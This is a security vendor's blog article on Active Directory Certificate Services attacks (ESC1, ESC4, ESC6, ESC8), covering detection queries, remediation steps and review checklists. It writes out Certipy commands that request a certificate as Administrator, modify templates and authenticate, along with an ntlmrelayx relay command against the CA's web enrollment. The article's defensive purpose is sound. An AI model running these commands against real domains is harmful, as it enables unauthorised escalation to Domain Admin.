ADCS Certificate Attacks: How ESC1 to ESC8 Lead to Domain Admin

What Are ADCS Certificate Attacks?

ADCS certificate attacks abuse weak certificate templates, CA-level flags, or enrollment endpoints in Active Directory Certificate Services to mint certificates that authenticate as more privileged identities. ADCS is Microsoft's Public Key Infrastructure (PKI) implementation built into Windows Server, used for authentication, encryption, code signing, and smart card logon across the domain.

When properly configured, ADCS is invisible infrastructure. When misconfigured, it becomes one of the most powerful attack surfaces in Active Directory — one that lets any domain user escalate to Domain Admin in minutes, forge authentication as any user including administrators, and persist through certificate-based backdoors that survive password resets.

The vulnerability classes are known as ESC1 through ESC13, catalogued by SpecterOps researchers in 2021. This article covers the four most commonly exploited: ESC1, ESC4, ESC6, and ESC8.

How It Works

ADCS issues certificates based on certificate templates — configurations that define who can enroll, what the certificate can be used for, and what information it can contain.

The critical field is the Subject Alternative Name (SAN). A certificate with a SAN specifying a Domain Admin's UPN authenticates to Kerberos as that Domain Admin — regardless of who requested it. If an attacker can request a certificate with an arbitrary SAN, they control authentication for any account in the domain.

The attack path:

1. Find a vulnerable certificate template
2. Request a certificate with a privileged account's UPN in the SAN
3. Use the certificate to authenticate as that account and obtain a TGT
4. Full domain access

The Attack Chain

ADCS Certificate Attacks: ESC1 — Vulnerable Certificate Template

The most common and most critical ADCS vulnerability. A template is ESC1-vulnerable when:

• Enrollment rights are granted to low-privileged users (Domain Users or Authenticated Users)
• The template allows the requester to specify the SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
• The template is enabled for client authentication

# Enumerate vulnerable templates with Certipy
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -vulnerable -stdout

# Request a certificate as Domain Admin via ESC1
certipy req -u [email protected] -p password -ca CORP-CA -template VulnerableTemplate \
    -upn [email protected] -dc-ip 10.10.0.1

# Authenticate with the certificate and get a TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.0.1

ESC4 — Template ACL Abuse

The template itself has weak ACLs that allow a low-privileged user to modify its configuration. The attacker modifies the template to become ESC1-vulnerable, then exploits it.

# Check template ACLs
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -vulnerable

# Modify template to enable ESC1 conditions
certipy template -u [email protected] -p password -template VulnerableTemplate \
    -save-old -dc-ip 10.10.0.1

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

The CA itself has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, which allows SAN specification on any certificate request — even templates that don't explicitly allow it. This makes every template in the CA potentially ESC1-vulnerable.

# Check if the CA has the flag enabled
certipy find -u [email protected] -p password -dc-ip 10.10.0.1 -stdout | grep -i "editf"

ESC8 — HTTP Enrollment Relay

The CA's web enrollment interface (/certsrv) accepts NTLM authentication over HTTP without requiring HTTPS or extended protection. An attacker can relay NTLM authentication from a machine account to the CA and obtain a certificate for that machine — which can then be used to retrieve the machine's NTLM hash via PKINIT.

# Set up relay to CA web enrollment
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template "Machine"

# Trigger NTLM auth from a target machine (e.g., via coerce)

Detection

ADCS attacks are difficult to detect without dedicated logging. Enable Certificate Services audit logging on the CA.

Windows Event IDs

Behavioral Anomalies

• Certificate requests where the SAN differs from the requester's UPN — the clearest ESC1 indicator
• Low-privileged accounts requesting certificates for admin UPNs
• Sudden certificate-based Kerberos authentication from accounts that normally use password auth
• Template modifications — ESC4 leaves an audit trail in AD object change logs

Detection Query (Elastic KQL)

event.code: "4887" AND
winlog.event_data.RequesterName: (* AND NOT winlog.event_data.SubjectUserName)

💡 Tip: Enable Audit Certification Services under Advanced Audit Policy. Without it, events 4886/4887 do not fire.

Remediation

⚠️ Critical: ESC1 and ESC6 misconfigurations allow full domain compromise in under 5 minutes from any domain user account. Prioritize these immediately.

Fix ESC1 — Remove Enrollee-Supplied SAN

# Open Certificate Templates MMC, find the vulnerable template
# Properties > Subject Name tab > uncheck "Supply in the request"
# Or via ADSI Edit on the template object:
# msPKI-Certificate-Name-Flag: remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

Alternatively, restrict enrollment to specific privileged groups rather than Domain Users.

Fix ESC4 — Harden Template ACLs

# Audit template ACLs via Certipy or manually in Certificate Templates MMC
# Remove Write/FullControl permissions from non-admin accounts
# Only CA Admins and Enterprise Admins should have write access to templates

Fix ESC6 — Remove EDITF Flag

# Run on the CA server
certutil -config "CA-Server\CA-Name" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Fix ESC8 — Enforce HTTPS and EPA on Web Enrollment

1. Configure SSL on the CA web enrollment site (IIS)
2. Enable Extended Protection for Authentication (EPA) on the IIS application
3. Require HTTPS in IIS bindings and remove HTTP
4. Consider disabling web enrollment entirely if not required

How EtcSec Detects This

EtcSec performs a full ADCS audit on every scan, checking every certificate template and CA configuration against known ESC vulnerability patterns.

ESC1_VULNERABLE_TEMPLATE identifies certificate templates with enrollee-supplied SAN enabled and low-privileged enrollment rights — the exact conditions for a full domain compromise via certificate abuse.

ESC4_VULNERABLE_TEMPLATE_ACL flags templates with overly permissive ACLs that allow non-admin accounts to modify template configurations.

ESC6_EDITF_FLAG checks every CA in your environment for the dangerous EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

ESC8_HTTP_ENROLLMENT detects CA web enrollment endpoints accessible over HTTP without extended protection.

ℹ️ Note: EtcSec audits all certificate templates and CA configurations automatically. Run a free audit to discover ADCS vulnerabilities in your environment before attackers do.

Review Priorities

When you validate ADCS risk in a real estate, do not stop at the certificate template that first looks vulnerable. Review the entire issuance chain: enterprise CAs, published templates, enrollment rights, manager approval requirements, EKUs, SAN controls, CA security descriptors, and every privileged group that can edit template settings. The same template often stays exploitable because ownership is unclear between AD, PKI, and platform teams. That means a partial fix, such as disabling one template flag, still leaves adjacent paths through a second template, a delegated PKI group, or a CA-level permission that lets an operator recreate the weakness later. A defensible review documents which templates are enabled, who can enroll, who can modify configuration, which authentication scenarios depend on those templates, and how fast a rollback could happen if remediation breaks production smart cards, VPN, or device enrollment. That scope is what separates a one-off template cleanup from an actual reduction in privilege escalation risk.

Common Remediation Gaps

The most common ADCS remediation failure is treating ESC findings as isolated template bugs. In practice, attackers chain certificate abuse with ACL Abuse and DCSync: The Silent Paths to Domain Admin, weak delegation, and over-privileged admin groups because those controls govern who can publish or re-enable dangerous templates. Another gap is leaving stale templates in place for legacy workflows, then assuming they are harmless because helpdesk teams rarely use them. If a template remains enabled and low-privilege identities can still enroll, the attack path is still alive. Finally, teams often rotate privileged passwords after an incident without revoking issued certificates or tightening enrollment scope. That leaves certificate-based persistence intact even though the original trigger was "fixed."

Related Reading

Use these adjacent posts to validate whether the certificate issue is isolated or part of a wider privilege-escalation chain:

• ACL Abuse and DCSync: The Silent Paths to Domain Admin
• Active Directory Attack Paths to Domain Admin
• Golden Ticket Attack: The Keys to Your Kingdom
• Kerberos Delegation Attacks: From Unconstrained to RBCD Abuse
• Dangerous Group Nesting: Hidden Paths to Domain Admin

Evidence to Collect During Validation

A strong ADCS review collects evidence from three layers at once: the template configuration, the CA publication state, and the identities that can exercise those settings in production. Export the template list, record which templates are enabled, and capture who can enroll, auto-enroll, or edit each object. Then verify whether those identities are low privilege users, delegated PKI admins, helpdesk groups, or service accounts that no longer have a clear owner. The most useful validation pack is not just a screenshot of one risky flag. It is the combination of enrollment rights, SAN controls, EKUs, issuance requirements, and the CA or template ACLs that allow the weakness to exist. That evidence makes remediation discussions faster because operations teams can immediately see whether the problem is limited to one template or whether the same weakness is repeated across multiple issuance paths.

Hardening Sequence That Minimizes Outage Risk

The safest remediation order is to start with visibility and scope, not with a blanket template shutdown. Identify which templates are actually used for workstation enrollment, smart cards, VPN, Wi-Fi, code signing, or service authentication. Remove low-privilege enrollment rights first where business impact is low, then tighten SAN controls and EKUs on templates that remain necessary. If a vulnerable template is still required for an operational workflow, duplicate it into a hardened version, migrate the clients, and retire the old one once enrollment confirms cleanly. In parallel, review PKI admin delegation, CA management rights, and monitoring so the same template cannot be silently reintroduced by another team later. This sequence reduces risk quickly while preserving enough stability for PKI-dependent services to keep running.

Verification Checklist Before Sign-Off

Before closing the finding, rerun template enumeration and validate the environment from the attacker point of view. Confirm that low-privilege identities can no longer enroll in client-auth templates with unsafe SAN control, that duplicated hardened templates are now the only published option for the affected workflow, and that CA or template ACLs no longer let delegated operators revert the change quietly. Review issued certificates for privileged identities, revoke anything that was minted through a vulnerable path, and document the monitoring rules that should alert if a dangerous template is republished or modified again. That final verification is what turns a template edit into a durable control improvement.